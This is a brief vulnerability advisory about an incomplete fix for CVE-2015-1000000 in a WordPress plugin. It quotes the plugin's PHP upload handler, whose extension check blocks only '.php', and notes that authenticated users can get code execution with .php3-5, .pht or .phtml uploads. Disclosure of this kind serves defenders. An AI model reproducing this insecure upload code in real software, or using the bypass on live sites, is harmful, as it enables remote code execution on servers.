Larry Cashdollar Vulnerability

I noticed CVE-2015-1000000 wasn't fixed correctly, _any_ authenticated user can upload a file to the WordPress installation, they can get .php code execution by changing the extension to .php[3-5], .pht or .phtml. My previous advisory: http://www.vapidlabs.com/advisory.php?v=138 require_once "../../../wp-load.php"; if (!is_user_logged_in()) { die('{"ERROR": -1}'); } $message_id = $_REQUEST["message_id"]; $upload_dir = $_REQUEST["upload_dir"]; if (empty($_FILES) || $_FILES["file"]["error"]) { die('{"OK": 0}'); } $fileName = $_FILES["file"]["name"]; $ext = pathinfo($fileName, PATHINFO_EXTENSION); if ($ext == 'php') { die('{"ERROR": -2}'); } move_uploaded_file($_FILES["file"]["tmp_name"], "$upload_dir/$message_id-$fileName"); die('{"OK": 1}');
